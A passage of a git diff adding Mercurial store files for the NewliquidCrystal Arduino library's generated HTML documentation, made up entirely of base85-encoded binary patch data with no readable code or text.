z24nbiQ)~ba!))sFWPDd_r7I5ztn5%Ox9pbNLucD*U%gxSwR?n%y|aKndXen2f2_99 z!cyi+e>y6$W<%`5c+Q9nrC1Fh@`Ag@+c!c7YNWz;)^0XcI=L?cH z5oCEw@6Q)TyhfO~E%@h)BAbXZ-%6~j(?Ml2ABJ4t`lV!E!XTYo(Iw92-%1}cK=mnicJ1!Xp`^by8ms7mn| z0W_JgoXN@!(B7@ivcspNZsSqX8{8*HcX`4Sf-p(2e22w5mKJB77LQGt*@3K``DWLJ zLyy%Vy?F9*@gUMpaVTP0ic&!p#nbVJ*_GKTh}qFQux24LTq>6o7hWBwiWrAG{|_#h z1o8j?000jw000001J?imLpuNf000000IUE200960|Np(fp;r8kZqFAOwZy>sLHK{_ z{fqzr0000000000004NLrIy`p+cp%(m2KFCf$e55K&Zo#0<$bq6iFqvfh-ByU}*}( z$%$)8=@`qR8_gCglyne^&*360#LiCUd&+N)^Jz%nhw2Tr(dZuoz)LpuH}tv zYh6^8YT#afm_xbnt}A!g@3k#Y8@Phmd}Ik#`f;;?!_JR;x=`~eFh1gRH$X`a>> zjVYOA@baMZ$(G}M{iox6^PS^3zafPBI=w-u9=NlzxCT|{atiM7?C2PsrAaBv#ZNCV z^AGyfOy-~Un@m{X=(&r);?0-RYhLgqM4T?Kn#GB@7QRC}V?TY2xVKLNmQL z>Gx!#fyL=O&UE(n-LsKI6oO6+jwshOAV3*riK1adGzewn(~*8Ti{BiMetk9xNsNlD z9ufnw563uSga=aSgi|ax5a*a~Ndh3GRYGAV4CR+K|N|lN5l5k_1uWM>N5TP>dO-n`pwfBjHjh6Gnm1 zf-6I8^lB;mgfQ@d85V6oa&mU~`?EP14eee|0uo|MdC0IJz6h*WNI)Y2d_#`-YV>Rr zgDH_Jp&<=SiMscK?DFb~7a^ksBN* z7o+V+1gDG$=0^!8Hb{J|lnxilYSa=aZ4*t3kxldj?R*zPMNnOwOd%fG+TTd5vi!tP0 zQI30QuHkN}f`#d))A4_%Z&S0?h*>^%k<99KjZG&T6%h8gM^URqn}xJ%TIWU4SGN3P MGq0V_zYJ?=)nM_pd;kCd literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__enum.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__enum.html.i new file mode 100644 index 0000000000000000000000000000000000000000..440174494fc38ca5296f3b5f23c8ff29b7406c65 GIT binary patch literal 2281 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 bAj5^(C{xpJ#}9v5)~g@Yk~e+>2#B_2ggK7f literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__func.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__func.html.i new file mode 100644 index 0000000000000000000000000000000000000000..4ac13f4863ab41ab29b368edc0188db6b78caa67 GIT binary patch literal 2627 zcmV-J3cU3I0RRC20000000+DP02?6y00000005}}|NsC0|Ns9qjeRSIW}+J(|FUM_ zWXVu=fLl5M00000000000001ZoV8h5bK5u)e%G(SaH=+TRV48~Y*|$kJDzc^JxL|b zWcNu00!;}CL~1}vw*LJ#cu1ryAM$wPN>Rk|_1!=>N55QrI=}tz=Z|Do%q98!?Zfre zIWhXf;dkeJIJ~&MApiN}_U4*c1C!h;n&zSqSxV(_`0-DJ7_*{SoD7F|cXxw3XOOAs z@b=5_USnB$bN#blv~~`7!HscmR1&gz@$H1-TZnqH29YE`)pJb*WK|mVk1D59oQ6SHZyjV-fX8?sk3M5@q)C-2)jX6-oX2a_7 za)g{Iu_)RzKj?~9qXx+p+eQA78{^TiTF~WyXZPzVq%WsEtd$*Sd`+@cW|W`3tH^xF z?gyXJuONXHR|U+E%;VE{xb&BPpZpFfC|Up~@tRyzMA2)4flK=R=R_K7h~A1SvLQsy zND6o4Yx90&Y^IF&q<%5pCsgL}{#~`~-SKG;iM15L#fk`y1ha+Fe$^(X3aB1LDA$2~GCv`We!$fs5!IxdLmtT-W_zqmiui*S;cBo-?BfohW3 zG(+*kd`hT9*Syy6l?C^crdTXkc})gp_I*aHhSh0{nF!SaePQnp5=$cuUcr=%EBbK@eLJerNqy4 z3L8~X{Er*=VbC+sVpkOL-|ka)Yd> zT;g;!W)R94l zeLkb<6pmnpo_D;Xh1$*9E}(S2>-Ye!qiyY+%PhykxN_iajz8JbFIRkld?}0kJH}mU z*YU0|m8-7iQ-j2r;@UyXu46I1pmeK^33Ws~6kzMjn><&(G?6nJE@hQ>_U9G5lUM8m z6U+V>t`f^N?s`pLn93|hdq0A@xykGSeoj{BAIZ9puivEn2O>_AWy-p8;()$MK9L0< zqUcEOpy(SThvXm-z_YUh@(~C0rRPv?08__apiCVCqxtW^TtFhyM~;Ub!#59Y{l*5> z^;sXB_1!`5(3BIAO}Ll}JgvXr0wki6h5Nn8|@hE{kIicnI8b!KRk&z^-E)V51i!KVhR!%i=(}TIO@4^7{s>COER1c}h5#H!Sz-kqxM-R%0@Drnb1t`$W+KuyC=zTMq1TCCLe! z@U0X+Q07`F3wR+90>`HegD2u(+nBXED+}kYkCmrzbNK4M$z6E?COK9&Sm>AKG2R$4 zF_3IgUM#Bi$xi)N6*Sf5xh^(dT}!>Tf+{Nuq@O;!?ccC&3Jerwqu6aDX-~PZ$^<_$ zv7pIPCI$PsTfnq>P)4^zspe31H&p#J#`RrhxV?-kzD@HO%ND>Frqw4`F3f zXwjy3S|xLlC_0BuGOx%HRkb_FQQ5U9o8)L=ietxn6MUyVqO)cLts5Zwr0x;b zA12V6CCfNeiKGQ@n$4QVxc5KTwyqKY00007yZ`_I00IX903FK!000000068200030 z|NsBhpl~uv6-~C$u~4)UAr39185jD0JXbMD2!PX^4)Z*R-O+XM2Lz8M=+EdS( zZCPujV00SM_4f*O?XL}u!=Uy2Ut$O5;h7o@zj;_-1a>dx%|yJF1^Pe^+P*L``zGxVG+6jH&AiD<<=-2sHoduwv6PQW#; zM$m)x9=n$+X&rsj1++*`UwR;=;5K2}>D|mnM7@o=@hXGbGbkLhg;Wxk6b^;l?;gBf z!DQB9Y;Wiu|L7Dz)0t0f`^BLik8+_BCX8R$jTpTdjqY@+hwPf$5u}a0XFu9AIQyGk zqe#hY(d+CChwq~>m57hT-12lWE2V7H%#SEhGm9B03D?ZRyDEnnTui3!?_x2VFD93; zQW{R?1Cry23`2HY#lqTh5d^#4&d=1o&QbbG=K+@)?hjNQn2>MsKdx^Vpvx#_PJs#A lTinuy0gGYkzxC%%cEP(|x19Rvdk%!Wc-D;H@HcD_PB*|w`*{EW literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__type.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__type.html.i new file mode 100644 index 0000000000000000000000000000000000000000..f1a3f49c0d3784f9dc29ac896aae297744d25dc3 GIT binary patch literal 2221 zcmV;e2vYX|0RRC20000000tuf02HhM00000005}}|NsC0|NsAy!i~0Qc83+@m3wc_zYIrzfBi_NW+uqjA0MtR zhlDnL|L6YD_s>V?nqasT4bbHthwPbX2SPB{y_U%Gf|` znxoYmC<)wKpBlI~PWddDGNr-ve~d1g$J9ph zoj{`}czj2u3L*q#W9-db5owV zWees;DbXs}M84H@(DR)@l|d-)R}+YzZ`;qDJ(l5$$XG}g_II3_5Axpo5`PB)fw?p= z+imTg?V#wJW|Mq^7!)%QlJSb1JEIsiN8SNxHlJG3z(O<@Op(G6>5~|i0>QK_+yVPVo0Fk7mA1!cYAazpT9p(RgU7YS83Ydv%sv%v5LloiwX z$s}zQmgaEQ#&rqSm4<4Cnz6}^2I0-)2`#Cne=?rQM1x#_>Qev zJqnSSClNmL5NZ(8ytJjSysmhjl#3NDukwO}2q{@Gk>Io&ql5(kXnhAO9I9a%$so~v z`jA_Sc423CjY?pTl84G;k*Fth(?VFQjFgi3quRqMizl!P3yi$I4KHM2Rt^DW>s=)V zP>z+oGZa$eVeA5UUE@#J_EU*(pc7&APt3b?Uk979luBLBCX|e&3T=S2s(}?)fi$d& zEwmZ&Z~^OJF6vzRl4nlOPlT&G^>w9FsVki=3rl?tyTWpXS}&;!6CuaA-;bacolFhz zQ)}J-Piw8?^>ts=1?pUW z@uq3UI+nR51rrP~P|r692M56RS=2p%sB;*OTl-O)K?m4jCprn*QN6j;A-NxH3%g8f z5z%;gvfci$F7szI7;2w;_6sd_g{Rhz4S0ki#*zopH%xDR(Y+*r4;U6 z_w+TDdm(vrbw6D+PU>hcXGR1AL|GzNlZo_1KPP{&m!)=IE&zjdKbMz82_Plz1 zD#zPUDb75WUt?V{=aIr2aiy3$b9f_7J5REkHjwG}3fy6aV|%p)zS61Ms+mLEUbJp~ z>2#@SE&5M;N8f~{HKwc)-&rY6s77z9a(_fp;;Cf&T^5G89KA7t-kUKY2J3G!GA5&G zLf+36>5@*X-68Gc)ArHn!C`tSFW>LS*_VSx(QlN#&gEZ|>?gYNjk%F_?^PDgLAl1d zPtQiOc0Kz>gu9ti#v!*PyYT$pZ*2@3{{oM(tpWf5000If000000tx^C7ghiO00000 z0IUE200960|NlbS{8KmG9a9G%yo4-JNRH^9%Z&g40000000000004NLl~dhr(=Zfv z1sAAdSK|SW45FPxl6I|z)FqJ+NZd?ZFvPu+oF*==9c-s<_AGk?9)LIDd2pI0>tGVB zlAGlG`TM?e4k3eIq&@RcaQO`ijmwBiwy_$~PmQ6VQAE_(TA(QqEd^Vb7*UHm8#Dny zJPb{$d1;S5E4E>+m4eY}L|5M{)V04dG!BE-^M8pQn8#;oH2mgqiSh8&I8$l0MrqG{ zjV!CjTyp!lDa8_jXP3jfT7*3LNyyU^LdaJD2s6F`o<+3OYK5tlY>hO&djA2gc%qrE zU%#AQOfExHGI=kqS|_M!JoRV(#8r202iO&BZg@`GGq~={8=j%(WTB7>W=upY?&%I7 zbly9YV|4_saW#VOtq<6}R7vaTn=YV5a{ST*DFwF)(@yVZJ|gO^)s0sf)Sf}%m@TA| zcu8Sj$o(F`>lI999me*C?(vUK0W_WY#5P|X>hUNSDq+I-gi*6bv-x6j0ZXOfXg(l0jL0x#hgB@BEf+zs-ERF%?dlw*uXG-8nc;3v)qx55I{)MP vb^*GKQsxwxu)W1CZ5Xf^rv6)h?qnCd>vhYipT5%{guJ+I#&7r=SglS;w9z%4 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/hierarchy.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/hierarchy.html.i new file mode 100644 index 0000000000000000000000000000000000000000..aa3a569c5c0d528a99336423ddd3ad4e1e647fc1 GIT binary patch literal 4503 zcmXw4bx;)S*Ik+gsU-xdrAui6i3JxVmTsg4Sp=k)Mv!GmLAo31MoI*vJESF-lr9$u z1>q-t?{{YIxo74%|J-NpoD0ALU;+LCUmO6Sw*5a1D7pO)NjjM(sJ?RI<|w4Nn*3wF z=jA+S|9Sp3@5}}x6Wv7#s(`Q6S`8w^BeAI{sEM-hROqBI@uG%GQ;Q~DFC+pl@;l58 zdh>@##nUPbm+;YuU@iZ))cvfC=>U)O!f&_7`%0jU2(U$a;HTCd3S%-Pb66W#Vm~J? zQ1+slU!~4f?sp_dIz2xnCvtUTC2@Q%^(Q+ayzaTR=Ul8k!_Rg+FPd_@h|{m1d9=k? zDJPsN4{6cr3i(nFmg&dnw$o`Rff~X{>;{5R zHL>YvEe9A?IOzg$buqrV$S2kG;1&eTshkh5Z{CEP5ZGvxUH~SnAW6ewzm5 zDUwE%JZ>#B)2C=h!udh9O505;%#2t&L--j@lyVrmAltWI?-c&z9mpU7BCrP)`iHUI z(e}7LbOaU}ewlbeNH>(29CjX_h7ITX;er=SjvD77_7OfB$Jy)Sd6)0MR2kP;%jwF@ zUHq8!H~)$2YmI>kS6?rC@inVWqXHN@Hx0$0su!c#hXVc_QPaw z3ti~w*yfC<^VS8+I^rd3+31~MM4-<*5$|?bx{mE*ML2Z3C=tziHRPPM886wXg@nLV ziZ0W-?vAP4Z|RA7+@w}xFtX^Q%NLqM0aWzFc9dfJZnFjE49wMNwSugO$%@s5P2x}N z-c6$zi8U2mFOnSh%!$v2QC#S7i+Ng_BCE?7lxh?#2P`|O6M2vbsY*A1_h@WeJ#YoJe>@^qK7PF z;;(w-<4ToYnX#IxMzPxLD(;z�wpCQJHx;_YyT{B$>(0`y2kiTIwH~-36A`GWijh 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/index.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/index.html.i new file mode 100644 index 0000000000000000000000000000000000000000..94eee3934dbf1b92aa41f1d21f7b711a9a14ae98 GIT binary patch literal 3411 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 